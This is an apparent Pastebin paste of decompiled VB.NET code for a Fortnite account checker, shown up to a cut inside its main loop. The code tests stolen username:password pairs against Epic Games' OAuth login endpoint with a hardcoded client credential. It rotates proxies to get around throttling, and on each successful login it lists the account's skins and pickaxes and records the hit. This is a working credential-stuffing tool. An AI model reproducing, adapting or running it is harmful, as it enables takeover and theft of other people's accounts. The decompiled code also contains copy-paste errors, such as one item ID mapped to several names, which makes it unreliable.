API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Oct 31st, 2018
5,544
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 29.88 KB | None | 0 0
raw download clone embed print report
  1. Imports System
  2. Imports System.Collections
  3. Imports System.Collections.Generic
  4. Imports System.ComponentModel
  5. Imports System.Diagnostics
  6. Imports System.Runtime.CompilerServices
  7. Imports System.Text.RegularExpressions
  8. Imports System.Threading
  9. Imports System.Windows.Forms
  10. Imports Microsoft.VisualBasic.CompilerServices
  11. Imports SkinSoft.VisualStyler
  12. Imports xNet
  13.  
  14. <DesignerGenerated()>
  15. Public Partial Class Form1
  16. Inherits Form
  17.  
  18. ' Token: 0x02000002 RID: 2
  19. Public Sub method_8()
  20. Dim proxyAddress As String = String.Empty
  21. If Not Me.vmethod_70().Checked Then
  22. proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_6))
  23. End If
  24. ' The following expression was wrapped in a checked-statement
  25. While Me.queue_2.Count > 0
  26. Dim [class] As Form1.Class0 = New Form1.Class0([class])
  27. [class].form1_0 = Me
  28. Dim objectValue As Object = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Me.object_0)))
  29. Dim flag As Boolean = False
  30. Try
  31. Dim objectValue2 As Object = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue)))
  32. Dim objectValue3 As Object = RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue2)))
  33. Monitor.Enter(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue2))), flag)
  34. Try
  35. [class].string_0 = Me.queue_2.Peek().ToString().TrimEnd(New Char() { vbCr }).Trim()
  36. Me.queue_2.Dequeue()
  37. Catch ex As Exception
  38. End Try
  39. Finally
  40. If flag Then
  41. Dim objectValue3 As Object
  42. Monitor.[Exit](RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(objectValue3))))
  43. End If
  44. End Try
  45. If Not String.IsNullOrEmpty([class].string_0) Then
  46. Dim array As String() = [class].string_0.Split(New Char() { ":"c })
  47. Try
  48. Using httpRequest As HttpRequest = New HttpRequest()
  49. New CookieDictionary(False)
  50. If Not Me.vmethod_70().Checked Then
  51. httpRequest.Proxy = ProxyClient.Parse(Me.proxyType_0, proxyAddress)
  52. End If
  53. If Me.vmethod_58().Checked Then
  54. httpRequest.ConnectTimeout = Convert.ToInt32(Me.vmethod_54().Value)
  55. End If
  56. If Me.vmethod_56().Checked Then
  57. httpRequest.Proxy.ConnectTimeout = Convert.ToInt32(Me.vmethod_52().Value)
  58. End If
  59. httpRequest.IgnoreProtocolErrors = True
  60. httpRequest.KeepAlive = True
  61. httpRequest.UserAgent = "Fortnite/++Fortnite+Release-4.5-CL-4166199 Windows/6.2.9200.1.768.64bit"
  62. httpRequest.Authorization = "basic ZWM2ODRiOGM2ODdmNDc5ZmFkZWEzY2IyYWQ4M2Y1YzY6ZTFmMzFjMjExZjI4NDEzMTg2MjYyZDM3YTEzZmM4NGQ="
  63. Dim str As String = String.Concat(New String() { "grant_type=password&username=", array(0), "&password=", array(1), "&includePerms=true&token_type=eg1" })
  64. Dim text As String = httpRequest.Post("https://account-public-service-prod03.ol.epicgames.com/account/api/oauth/token", str, "application/x-www-form-urlencoded").ToString()
  65. If text.Contains("access_token"" : """) AndAlso Not Me.string_2.Contains([class].string_0) Then
  66. Dim class2 As Form1.Class0.Class1 = New Form1.Class0.Class1()
  67. class2.class0_0 = [class]
  68. Me.string_2 += [class].string_0
  69. Dim address As String = String.Concat(New String() { "https://fortnite-public-service-prod11.ol.epicgames.com/fortnite/api/game/v2/profile/", Regex.Match(text, "account_id"" : ""(.*?)"",").Groups(1).ToString(), "/client/QueryProfile?profileId=athena&rvn=-1" })
  70. Dim str2 As String = Regex.Match(text, "access_token"" : ""(.*?)"",").Groups(1).ToString()
  71. httpRequest.Authorization = "bearer " + str2
  72. Dim text2 As String = httpRequest.Post(address, "{}", "application/json").ToString()
  73. class2.list_1 = New List(Of String)()
  74. If text2.Contains("AthenaCharacter:cid_036_athena_commando_m_wintercamo") Then
  75. class2.list_1.Add("Absolute Zero")
  76. End If
  77. If text2.Contains("AthenaCharacter:cid_121_athena_commando_m_graffiti") Then
  78. class2.list_1.Add("Abstrakt")
  79. End If
  80. If text2.Contains("AthenaCharacter:cid_017_athena_commando_m") Then
  81. class2.list_1.Add("Aerial Assault Troop")
  82. End If
  83. If text2.Contains("AthenaCharacter:cid_059_athena_commando_m_skidude_chn") Then
  84. class2.list_1.Add("Alpine Ace (CHN)")
  85. End If
  86. If text2.Contains("AthenaCharacter:cid_055_athena_commando_m_skidude_can") Then
  87. class2.list_1.Add("Alpine Ace (CAN)")
  88. End If
  89. If text2.Contains("AthenaCharacter:cid_058_athena_commando_m_skidude_ger") Then
  90. class2.list_1.Add("Alpine Ace (GER)")
  91. End If
  92. If text2.Contains("AthenaCharacter:cid_037_athena_commando_f_wintercamo") Then
  93. class2.list_1.Add("Arctic Assassin")
  94. End If
  95. If text2.Contains("AthenaCharacter:cid_015_athena_commando_f") Then
  96. class2.list_1.Add("Assault Trooper")
  97. End If
  98. If text2.Contains("AthenaCharacter:cid_100_athena_commando_m_cuchulainn") Then
  99. class2.list_1.Add("Battle Hound")
  100. End If
  101. If text2.Contains("AthenaCharacter:cid_125_athena_commando_m_tacticalwoodland") Then
  102. class2.list_1.Add("BattleHawk")
  103. End If
  104. If text2.Contains("AthenaCharacter:cid_035_athena_commando_m_medieval") Then
  105. class2.list_1.Add("Black Knight")
  106. End If
  107. If text2.Contains("AthenaCharacter:cid_032_athena_commando_m_medieval") Then
  108. class2.list_1.Add("Blue Squire")
  109. End If
  110. If text2.Contains("AthenaCharacter:cid_138_athena_commando_m_psburnout") Then
  111. class2.list_1.Add("Blue Striker")
  112. End If
  113. If text2.Contains("AthenaCharacter:cid_052_athena_commando_f_psblue") Then
  114. class2.list_1.Add("Blue Team Leader")
  115. End If
  116. If text2.Contains("AthenaCharacter:cid_021_athena_commando_f") Then
  117. class2.list_1.Add("Brawler")
  118. End If
  119. If text2.Contains("AthenaCharacter:cid_092_athena_commando_f_redshirt") Then
  120. class2.list_1.Add("Brilliant Striker")
  121. End If
  122. If text2.Contains("AthenaCharacter:cid_044_athena_commando_f_scipop") Then
  123. class2.list_1.Add("Brite Bomber ")
  124. End If
  125. If text2.Contains("AthenaCharacter:cid_112_athena_commando_m_brite") Then
  126. class2.list_1.Add("Brite Gunner")
  127. End If
  128. If text2.Contains("AthenaCharacter:cid_104_athena_commando_f_bunny") Then
  129. class2.list_1.Add("Bunny Brawler")
  130. End If
  131. If text2.Contains("AthenaCharacter:cid_094_athena_commando_m_rider") Then
  132. class2.list_1.Add("Burnout")
  133. End If
  134. If text2.Contains("AthenaCharacter:cid_115_athena_commando_m_carbideblue") Then
  135. class2.list_1.Add("Carbide")
  136. End If
  137. If text2.Contains("AthenaCharacter:cid_123_athena_commando_f_metal") Then
  138. class2.list_1.Add("Chromium")
  139. End If
  140. If text2.Contains("AthenaCharacter:cid_110_athena_commando_f_circuitbreaker") Then
  141. class2.list_1.Add("Circuit Breaker")
  142. End If
  143. If text2.Contains("AthenaCharacter:cid_151_athena_commando_f_soccergirld") Then
  144. class2.list_1.Add("Clinical Crosser")
  145. End If
  146. If text2.Contains("AthenaCharacter:cid_051_athena_commando_m_holidayelf") Then
  147. class2.list_1.Add("Codename ELF")
  148. End If
  149. If text2.Contains("AthenaCharacter:cid_016_athena_commando_f") Then
  150. class2.list_1.Add("Commando")
  151. End If
  152. If text2.Contains("AthenaCharacter:cid_050_athena_commando_m_holidaynutcracker") Then
  153. class2.list_1.Add("Crackshot")
  154. End If
  155. If text2.Contains("AthenaCharacter:cid_069_athena_commando_f_pinkbear") Then
  156. class2.list_1.Add("Cuddle Team Leader")
  157. End If
  158. If text2.Contains("AthenaCharacter:cid_105_athena_commando_f_spaceblack") Then
  159. class2.list_1.Add("Dark Vanguard")
  160. End If
  161. If text2.Contains("AthenaCharacter:cid_088_athena_commando_m_spaceblack") Then
  162. class2.list_1.Add("Dark Voyager")
  163. End If
  164. If text2.Contains("AthenaCharacter:cid_076_athena_commando_f_sup") Then
  165. class2.list_1.Add("Dazzle")
  166. End If
  167. If text2.Contains("AthenaCharacter:cid_040_athena_commando_m_district") Then
  168. class2.list_1.Add("Devastator")
  169. End If
  170. If text2.Contains("AthenaCharacter:cid_083_athena_commando_f_tactical") Then
  171. class2.list_1.Add("Elite Agent")
  172. End If
  173. If text2.Contains("AthenaCharacter:cid_143_athena_commando_f_darkninja") Then
  174. class2.list_1.Add("Fate")
  175. End If
  176. If text2.Contains("AthenaCharacter:cid_132_athena_commando_m_venus") Then
  177. class2.list_1.Add("Flytrap")
  178. End If
  179. If text2.Contains("AthenaCharacter:cid_038_athena_commando_m_disco") Then
  180. class2.list_1.Add("Funk Ops")
  181. End If
  182. If text2.Contains("AthenaCharacter:cid_029_athena_commando_f_halloween") Then
  183. class2.list_1.Add("Ghoul Trooper")
  184. End If
  185. If text2.Contains("AthenaCharacter:cid_048_athena_commando_f_holidaygingerbread") Then
  186. class2.list_1.Add("Ginger Gunner")
  187. End If
  188. If text2.Contains("AthenaCharacter:cid_155_athena_commando_f_gumshoe") Then
  189. class2.list_1.Add("Gumshoe ")
  190. End If
  191. If text2.Contains("AthenaCharacter:cid_089_athena_commando_m_retrogrey") Then
  192. class2.list_1.Add("Havoc")
  193. End If
  194. If text2.Contains("AthenaCharacter:cid_099_athena_commando_f_scathach") Then
  195. class2.list_1.Add("Highland Warrior")
  196. End If
  197. If text2.Contains("AthenaCharacter:cid_074_athena_commando_f_stripe") Then
  198. class2.list_1.Add("Jungle Scout")
  199. End If
  200. If text2.Contains("AthenaCharacter:cid_108_athena_commando_m_fishhead") Then
  201. class2.list_1.Add("Leviathan")
  202. End If
  203. If text2.Contains("AthenaCharacter:cid_126_athena_commando_m_auroraglow") Then
  204. class2.list_1.Add("LiteShow")
  205. End If
  206. If text2.Contains("AthenaCharacter:cid_070_athena_commando_m_cupid") Then
  207. class2.list_1.Add("Love Ranger")
  208. End If
  209. If text2.Contains("AthenaCharacter:cid_103_athena_commando_m_bunny") Then
  210. class2.list_1.Add("Bunny Raider")
  211. End If
  212. If text2.Contains("AthenaCharacter:cid_049_athena_commando_m_holidaygingerbread") Then
  213. class2.list_1.Add("Marry Marauder")
  214. End If
  215. If text2.Contains("AthenaCharacter:cid_080_athena_commando_m_space") Then
  216. class2.list_1.Add("Mission Specialist")
  217. End If
  218. If text2.Contains("AthenaCharacter:cid_081_athena_commando_f_space") Then
  219. class2.list_1.Add("Moonwalker")
  220. End If
  221. If text2.Contains("AthenaCharacter:cid_062_athena_commando_f_skigirl_usa") Then
  222. class2.list_1.Add("Mogul Master (USA)")
  223. End If
  224. If text2.Contains("AthenaCharacter:cid_023_athena_commando_f") Then
  225. class2.list_1.Add("Munitions Expert")
  226. End If
  227. If text2.Contains("AthenaCharacter:cid_124_athena_commando_f_auroraglow") Then
  228. class2.list_1.Add("NiteLite")
  229. End If
  230. If text2.Contains("AthenaCharacter:cid_046_athena_commando_f_holidaysweater") Then
  231. class2.list_1.Add("Nog Ops")
  232. End If
  233. If text2.Contains("AthenaCharacter:cid_159_athena_commando_m_gumshoedark") Then
  234. class2.list_1.Add("Noir")
  235. End If
  236. If text2.Contains("AthenaCharacter:cid_116_athena_commando_m_carbideblack") Then
  237. class2.list_1.Add("Omega")
  238. End If
  239. If text2.Contains("AthenaCharacter:cid_141_athena_commando_m_darkeagle") Then
  240. class2.list_1.Add("Omen")
  241. End If
  242. If text2.Contains("AthenaCharacter:cid_149_athena_commando_f_soccergirlb") Then
  243. class2.list_1.Add("Poised Playmaker")
  244. End If
  245. If text2.Contains("AthenaCharacter:cid_097_athena_commando_f_rockerpunk") Then
  246. class2.list_1.Add("Power Chord")
  247. End If
  248. If text2.Contains("AthenaCharacter:cid_091_athena_commando_m_redshirt") Then
  249. class2.list_1.Add("Radiant Striker")
  250. End If
  251. If text2.Contains("AthenaCharacter:cid_135_athena_commando_f_jailbird") Then
  252. class2.list_1.Add("Rapscallion")
  253. End If
  254. If text2.Contains("AthenaCharacter:cid_031_athena_commando_m_retro") Then
  255. class2.list_1.Add("Raptor")
  256. End If
  257. If text2.Contains("AthenaCharacter:cid_102_athena_commando_m_raven") Then
  258. class2.list_1.Add("Raven")
  259. End If
  260. If text2.Contains("cid_022_athena_commando_f") Then
  261. class2.list_1.Add("Recon Expert")
  262. End If
  263. If text2.Contains("AthenaCharacter:cid_024_athena_commando_f") Then
  264. class2.list_1.Add("Recon Specialist")
  265. End If
  266. If text2.Contains("AthenaCharacter:cid_034_athena_commando_f_medieval") Then
  267. class2.list_1.Add("Red Knight")
  268. End If
  269. If text2.Contains("AthenaCharacter:cid_047_athena_commando_f_holidayreindeer") Then
  270. class2.list_1.Add("Red Nosed Raider")
  271. End If
  272. If text2.Contains("AthenaCharacter:cid_013_athena_commando_f") Then
  273. class2.list_1.Add("Renegade")
  274. End If
  275. If text2.Contains("AthenaCharacter:cid_028_athena_commando_f") Then
  276. class2.list_1.Add("Renegade Raider")
  277. End If
  278. If text2.Contains("AthenaCharacter:cid_093_athena_commando_m_dinosaur") Then
  279. class2.list_1.Add("Rex")
  280. End If
  281. If text2.Contains("AthenaCharacter:cid_090_athena_commando_m_tactical") Then
  282. class2.list_1.Add("Rogue Agent")
  283. End If
  284. If text2.Contains("AthenaCharacter:cid_033_athena_commando_f_medieval") Then
  285. class2.list_1.Add("Royale Knight")
  286. End If
  287. If text2.Contains("AthenaCharacter:cid_082_athena_commando_m_scavenger") Then
  288. class2.list_1.Add("Rust Lord")
  289. End If
  290. If text2.Contains("AthenaCharacter:cid_087_athena_commando_f_redsilk") Then
  291. class2.list_1.Add("Scarlet Defender")
  292. End If
  293. If text2.Contains("AthenaCharacter:cid_134_athena_commando_m_jailbird") Then
  294. class2.list_1.Add("Scoundrel")
  295. End If
  296. If text2.Contains("AthenaCharacter:cid_072_athena_commando_m_scout") Then
  297. class2.list_1.Add("Scout")
  298. End If
  299. If text2.Contains("AthenaCharacter:cid_098_athena_commando_f_stpatty") Then
  300. class2.list_1.Add("Sgt Green Clover")
  301. End If
  302. If text2.Contains("AthenaCharacter:cid_043_athena_commando_f_stealth") Then
  303. class2.list_1.Add("Shadow Ops")
  304. End If
  305. If text2.Contains("AthenaCharacter:cid_030_athena_commando_m_halloween") Then
  306. class2.list_1.Add("Skull Trooper")
  307. End If
  308. If text2.Contains("AthenaCharacter:cid_142_athena_commando_m_wwiipilot") Then
  309. class2.list_1.Add("Sky Stalker")
  310. End If
  311. If text2.Contains("AthenaCharacter:cid_073_athena_commando_f_scuba") Then
  312. class2.list_1.Add("Snorkel Ops")
  313. End If
  314. If text2.Contains("AthenaCharacter:cid_150_athena_commando_f_soccergirlc") Then
  315. class2.list_1.Add("Soccer Girl C")
  316. End If
  317. If text2.Contains("AthenaCharacter:cid_039_athena_commando_f_disco") Then
  318. class2.list_1.Add("Sparkle Specialist")
  319. End If
  320. If text2.Contains("AthenaCharacter:cid_020_athena_commando_m") Then
  321. class2.list_1.Add("Special Forces")
  322. End If
  323. If text2.Contains("AthenaCharacter:cid_117_athena_commando_m_tacticaljungle") Then
  324. class2.list_1.Add("Squad Leader")
  325. End If
  326. If text2.Contains("AthenaCharacter:cid_085_athena_commando_m_twitch") Then
  327. class2.list_1.Add("Sub Commander")
  328. End If
  329. If text2.Contains("AthenaCharacter:cid_027_athena_commando_f") Then
  330. class2.list_1.Add("Survival Specialist")
  331. End If
  332. If text2.Contains("AthenaCharacter:cid_120_athena_commando_f_graffiti") Then
  333. class2.list_1.Add("Teknique")
  334. End If
  335. If text2.Contains("AthenaCharacter:cid_084_athena_commando_m_assassin") Then
  336. class2.list_1.Add("The Reaper")
  337. End If
  338. If text2.Contains("AthenaCharacter:cid_140_athena_commando_m_visitor") Then
  339. class2.list_1.Add("The Visitor")
  340. End If
  341. If text2.Contains("AthenaCharacter:cid_109_athena_commando_m_pizza") Then
  342. class2.list_1.Add("Tomato Headd")
  343. End If
  344. If text2.Contains("AthenaCharacter:cid_127_athena_commando_m_hazmat") Then
  345. class2.list_1.Add("Toxic Trooper")
  346. End If
  347. If text2.Contains("AthenaCharacter:cid_114_athena_commando_f_tacticalwoodland") Then
  348. class2.list_1.Add("Trailblazer")
  349. End If
  350. If text2.Contains("cid_009_athena_commando_m") Then
  351. class2.list_1.Add("Tracker")
  352. End If
  353. If text2.Contains("AthenaCharacter:cid_107_athena_commando_f_pajamaparty") Then
  354. class2.list_1.Add("Tricera Ops")
  355. End If
  356. If text2.Contains("AthenaCharacter:cid_137_athena_commando_f_basketball") Then
  357. class2.list_1.Add("Triple Threat")
  358. End If
  359. If text2.Contains("AthenaCharacter:cid_012_athena_commando_m") Then
  360. class2.list_1.Add("Trooper")
  361. End If
  362. If text2.Contains("AthenaCharacter:cid_118_athena_commando_f_valor") Then
  363. class2.list_1.Add("Valor")
  364. End If
  365. If text2.Contains("AthenaCharacter:cid_133_athena_commando_f_deco") Then
  366. class2.list_1.Add("Ventura")
  367. End If
  368. If text2.Contains("AthenaCharacter:cid_129_athena_commando_m_deco") Then
  369. class2.list_1.Add("Venturion")
  370. End If
  371. If text2.Contains("cid_160_athena_commando_m_speedyred") Then
  372. class2.list_1.Add("Vertex")
  373. End If
  374. If text2.Contains("AthenaCharacter:cid_106_athena_commando_f_taxi") Then
  375. class2.list_1.Add("Whiplash")
  376. End If
  377. If text2.Contains("AthenaCharacter:cid_139_athena_commando_m_fighterpilot") Then
  378. class2.list_1.Add("Wingman")
  379. End If
  380. If text2.Contains("AthenaCharacter:cid_071_athena_commando_m_wukong") Then
  381. class2.list_1.Add("Wukong")
  382. End If
  383. If text2.Contains("AthenaCharacter:cid_045_athena_commando_m_holidaysweater") Then
  384. class2.list_1.Add("Yuletide Ranger")
  385. End If
  386. If text2.Contains("AthenaCharacter:cid_119_athena_commando_f_candy") Then
  387. class2.list_1.Add("Zoey")
  388. End If
  389. If text2.Contains("AthenaCharacter:cid_130_athena_commando_m_merman") Then
  390. class2.list_1.Add("Moisty Merman")
  391. End If
  392. If text2.Contains("AthenaCharacter:cid_163_athena_commando_f_Viking") Then
  393. class2.list_1.Add("Huntress")
  394. End If
  395. If text2.Contains("AthenaCharacter:cid_165_athena_commando_m_darkviking") Then
  396. class2.list_1.Add("Ragnarok")
  397. End If
  398. If text2.Contains("AthenaCharacter:cid_153_athena_commando_f_carbideblack") Then
  399. class2.list_1.Add("Oblivion")
  400. End If
  401. If text2.Contains("AthenaCharacter:cid_152_athena_commando_f_carbideorange") Then
  402. class2.list_1.Add("Criterion")
  403. End If
  404. If text2.Contains("AthenaCharacter:cid_190_athena_commando_m_streetracerwhite") Then
  405. class2.list_1.Add("Overtaker")
  406. End If
  407. If text2.Contains("AthenaCharacter:cid_188_athena_commando_f_streetracerwhite") Then
  408. class2.list_1.Add("Whiteout")
  409. End If
  410. If text2.Contains("AthenaCharacter:cid_243_athena_commando_m_pumpkinslice") Then
  411. class2.list_1.Add("Hollowhead")
  412. End If
  413. If text2.Contains("AthenaCharacter:CID_241_Athena_Commando_M_Plague") Then
  414. class2.list_1.Add("Plague")
  415. End If
  416. If text2.Contains("AthenaCharacter:CID_240_Athena_Commando_F_Plague") Then
  417. class2.list_1.Add("Scourge")
  418. End If
  419. If text2.Contains("AthenaCharacter:CID_236_Athena_Commando_F_Scarecrow") Then
  420. class2.list_1.Add("Straw Ops")
  421. End If
  422. If text2.Contains("AthenaCharacter:CID_235_Athena_Commando_M_Scarecrow") Then
  423. class2.list_1.Add("Hay Man")
  424. End If
  425. If text2.Contains("AthenaCharacter:CID_234_Athena_Commando_M_LlamaRider") Then
  426. class2.list_1.Add("Giddy-Up")
  427. End If
  428. If text2.Contains("AthenaCharacter:CID_200_Athena_Commando_M_DarkPaintballer") Then
  429. class2.list_1.Add("Enforcer")
  430. End If
  431. If text2.Contains("AthenaCharacter:CID_161_Athena_Commando_M_Drift") Then
  432. class2.list_1.Add("Drift")
  433. End If
  434. If text2.Contains("AthenaCharacter:CID_162_Athena_Commando_F_StreetRacer") Then
  435. class2.list_1.Add("RedLine")
  436. End If
  437. If text2.Contains("AthenaCharacter:CID_166_Athena_Commando_F_Lifeguard") Then
  438. class2.list_1.Add("Sun Strider")
  439. End If
  440. If text2.Contains("AthenaCharacter:CID_167_Athena_Commando_M_TacticalBadass") Then
  441. class2.list_1.Add("Sledge Hammer")
  442. End If
  443. If text2.Contains("AthenaCharacter:CID_173_Athena_Commando_F_StarfishUniform") Then
  444. class2.list_1.Add("Rook")
  445. End If
  446. If text2.Contains("AthenaCharacter:CID_233_Athena_Commando_M_FortniteDJ") Then
  447. class2.list_1.Add("Dj Yonder")
  448. End If
  449. If text2.Contains("AthenaCharacter:CID_232_Athena_Commando_F_HalloweenTomato") Then
  450. class2.list_1.Add("Nightshade")
  451. End If
  452. If text2.Contains("AthenaCharacter:CID_231_Athena_Commando_F_RedRiding") Then
  453. class2.list_1.Add("Fable")
  454. End If
  455. If text2.Contains("AthenaCharacter:CID_237_Athena_Commando_F_Cowgirl") Then
  456. class2.list_1.Add("Calamity")
  457. End If
  458. If text2.Contains("AthenaCharacter:CID_230_Athena_Commando_M_Werewolf") Then
  459. class2.list_1.Add("Dire")
  460. End If
  461. If text2.Contains("AthenaCharacter:CID_229_Athena_Commando_F_DarkBomber") Then
  462. class2.list_1.Add("Dark Bomber")
  463. End If
  464. If text2.Contains("AthenaCharacter:CID_228_Athena_Commando_M_Vampire") Then
  465. class2.list_1.Add("Sanctum")
  466. End If
  467. If text2.Contains("AthenaCharacter:CID_227_Athena_Commando_F_Vampire") Then
  468. class2.list_1.Add("Dusk")
  469. End If
  470. If String.IsNullOrEmpty(class2.list_1(0)) Then
  471. class2.list_1.Add("NO SKIN")
  472. End If
  473. class2.list_0 = New List(Of String)()
  474. If text2.Contains("AthenaPickaxe:pickaxe_id_013_teslacoil") Then
  475. class2.list_0.Add("AC/DC")
  476. End If
  477. If text2.Contains("AthenaPickaxe:pickaxe_id_053_deco") Then
  478. class2.list_0.Add("Airfoil")
  479. End If
  480. If text2.Contains("AthenaPickaxe:pickaxe_id_011_medieval") Then
  481. class2.list_0.Add("Axecalibur")
  482. End If
  483. If text2.Contains("AthenaPickaxe:pickaxe_id_069_darkviking") Then
  484. class2.list_0.Add("Permafrost")
  485. End If
  486. If text2.Contains("AthenaPickaxe:pickaxe_id_040_pizza") Then
  487. class2.list_0.Add("Axeroni")
  488. End If
  489. If text2.Contains("AthenaPickaxe:sicklebatpickaxe") Then
  490. class2.list_0.Add("Batsickle")
  491. End If
  492. If text2.Contains("AthenaPickaxe:pickaxe_id_041_pajamaparty") Then
  493. class2.list_0.Add("Bitemark")
  494. End If
  495. If text2.Contains("AthenaPickaxe:pickaxe_id_018_anchor") Then
  496. class2.list_0.Add("Bottom Feeder")
  497. End If
  498. If text2.Contains("AthenaPickaxe:pickaxe_id_015_holidaycandycane") Then
  499. class2.list_0.Add("Candy Axe")
  500. End If
  501. If text2.Contains("AthenaPickaxe:pickaxe_id_038_carrot") Then
  502. class2.list_0.Add("Carrot Stick")
  503. End If
  504. If text2.Contains("AthenaPickaxe:pickaxe_id_017_shark") Then
  505. class2.list_0.Add("Chomp Jr.")
  506. End If
  507. If text2.Contains("AthenaPickaxe:skiicepickaxe") Then
  508. class2.list_0.Add("Cliffhanger")
  509. End If
  510. If text2.Contains("AthenaPickaxe:defaultpickaxe") Then
  511. class2.list_0.Add("Default Pickaxe")
  512. End If
  513. If text2.Contains("AthenaPickaxe:pickaxe_id_054_filmcamera") Then
  514. class2.list_0.Add("Director's Cut")
  515. End If
  516. If text2.Contains("AthenaPickaxe:pickaxe_id_016_disco") Then
  517. class2.list_0.Add("Disco Brawl")
  518. End If
  519. If text2.Contains("AthenaPickaxe:pickaxe_id_025_dragon") Then
  520. class2.list_0.Add("Dragon Axe")
  521. End If
  522. If text2.Contains("AthenaPickaxe:pickaxe_id_062_soccer") Then
  523. class2.list_0.Add("Elite Cleat")
  524. End If
  525. If text2.Contains("AthenaPickaxe:pickaxe_id_028_space") Then
  526. class2.list_0.Add("EVA")
  527. End If
  528. If text2.Contains("AthenaPickaxe:pickaxe_id_045_valor") Then
  529. class2.list_0.Add("Gale Force")
  530. End If
  531. If text2.Contains("AthenaPickaxe:pickaxe_id_051_neonglow") Then
  532. class2.list_0.Add("Glow Stick")
  533. End If
  534. If text2.Contains("AthenaPickaxe:pickaxe_id_014_wintercamo") Then
  535. class2.list_0.Add("Ice breaker")
  536. End If
  537. If text2.Contains("AthenaPickaxe:pickaxe_id_039_tacticalblack") Then
  538. class2.list_0.Add("Instigator")
  539. End If
  540. If text2.Contains("AthenaPickaxe:pickaxe_id_046_candy") Then
  541. class2.list_0.Add("Lollipopper")
  542. End If
  543. If text2.Contains("AthenaPickaxe:pickaxe_id_064_gumshoe") Then
  544. class2.list_0.Add("Magnifying Axe")
  545. End If
  546. If text2.Contains("AthenaPickaxe:pickaxe_id_048_carbideblack") Then
  547. class2.list_0.Add("Onslaught")
  548. End If
  549. If text2.Contains("AthenaPickaxe:pickaxe_id_059_darkeagle") Then
  550. class2.list_0.Add("Oracle Axe")
  551. End If
  552. If text2.Contains("AthenaPickaxe:pickaxe_id_029_assassin") Then
  553. class2.list_0.Add("Party Animal")
  554. End If
  555. If text2.Contains("AthenaPickaxe:pickaxe_id_031_squeak") Then
  556. class2.list_0.Add("Pick Squeak")
  557. End If
  558. If text2.Contains("AthenaPickaxe:pickaxe_flamingo") Then
  559. class2.list_0.Add("Pink Flamingo")
  560. End If
  561. If text2.Contains("AthenaPickaxe:pickaxe_id_024_plunger") Then
  562. class2.list_0.Add("Plunja")
  563. End If
  564. If text2.Contains("AthenaPickaxe:pickaxe_id_047_carbideblue") Then
  565. class2.list_0.Add("Positron")
  566. End If
  567. If text2.Contains("AthenaPickaxe:pickaxe_id_061_wwiipilot") Then
  568. class2.list_0.Add("Propeller Axe")
  569. End If
  570. If text2.Contains("AthenaPickaxe:pickaxe_id_012_district") Then
  571. class2.list_0.Add("Pulse Axe")
  572. End If
  573. If text2.Contains("AthenaPickaxe:pickaxe_lockjaw") Then
  574. class2.list_0.Add("Raider's Revenge")
  575. End If
  576. If text2.Contains("AthenaPickaxe:pickaxe_id_026_brite") Then
  577. class2.list_0.Add("Rainbow Smash")
  578. End If
  579. If text2.Contains("AthenaPickaxe:halloweenscythe") Then
  580. class2.list_0.Add("Scythe")
  581. End If
  582. If text2.Contains("AthenaPickaxe:pickaxe_id_050_graffiti") Then
  583. class2.list_0.Add("Renegade Roller")
  584. End If
  585. If text2.Contains("AthenaPickaxe:pickaxe_id_027_scavenger") Then
  586. class2.list_0.Add("Sawtooth")
  587. End If
  588. If text2.Contains("AthenaPickaxe:pickaxe_id_027_scavenger") Then
  589. class2.list_0.Add("Ski Boot")
  590. End If
  591. If text2.Contains("AthenaPickaxe:pickaxe_id_027_scavenger") Then
  592. class2.list_0.Add("Spectral Axe")
  593. End If
  594. If text2.Contains("AthenaPickaxe:pickaxe_id_037_stealth") Then
  595. class2.list_0.Add("Spectre")
  596. End If
  597. If text2.Contains("AthenaPickaxe:pickaxe_id_044_tacticalurbanhammer") Then
  598. class2.list_0.Add("Tenderizer")
  599. End If
  600. If text2.Contains("AthenaPickaxe:pickaxe_id_029_assassin") Then
  601. class2.list_0.Add("Trusty No. 2")
  602. End If
  603. If text2.Contains("AthenaPickaxe:pickaxe_id_063_vuvuzela") Then
  604. class2.list_0.Add("Vuvuzela")
  605. End If
  606. If text2.Contains("AthenaPickaxe:pickaxe_id_022_holidaygiftwrap") Then
  607. class2.list_0.Add("Here")
  608. End If
  609. If String.IsNullOrEmpty(class2.list_0(0)) Then
  610. class2.list_1.Add("NO Pickaxe")
  611. End If
  612. Me.queue_0.Enqueue(String.Concat(New String() { "Epic-Account: ", [class].string_0, " ", Environment.NewLine, "----------------SKINS---------------", Environment.NewLine, String.Join(Environment.NewLine, class2.list_1), Environment.NewLine, "----------------Pickaxes-------------", Environment.NewLine, String.Join(Environment.NewLine, class2.list_0) }))
  613. Me.vmethod_60().BeginInvoke(New Form1.Delegate0(Sub()
  614. Dim textBox As TextBox = New TextBox()
  615. textBox.Text = String.Concat(New String() { "------------Epic-Account----------", Environment.NewLine, class2.class0_0.string_0, " ", Environment.NewLine, "----------------SKINS---------------", Environment.NewLine, String.Join(Environment.NewLine, class2.list_1), Environment.NewLine, "----------------Pickaxes-------------", Environment.NewLine, String.Join(Environment.NewLine, class2.list_0), Environment.NewLine })
  616. class2.class0_0.form1_0.vmethod_60().Text = class2.class0_0.form1_0.vmethod_60().Text + textBox.Text
  617. End Sub))
  618. Me.queue_0.Enqueue("======================================")
  619. Me.int_1 += 1
  620. Me.int_0 += 1
  621. End If
  622. If text.Contains("Sorry the account credentials you are using are invalid") Then
  623. Me.queue_1.Enqueue([class].string_0)
  624. Me.int_2 += 1
  625. Me.int_0 += 1
  626. End If
  627. If text.Contains("errors.com.epicgames.common.throttled") Then
  628. Me.int_5 += 1
  629. Me.queue_2.Enqueue([class].string_0)
  630. If Not Me.vmethod_70().Checked Then
  631. proxyAddress = Me.string_1(Me.random_0.[Next](0, Me.int_6))
  632. End If
  633. End If
  634. End Using
  635. Continue While
  636. Catch ex2 As Exception
  637. Me.int_3 += 1
  638. Me.queue_2.Enqueue([class].string_0)
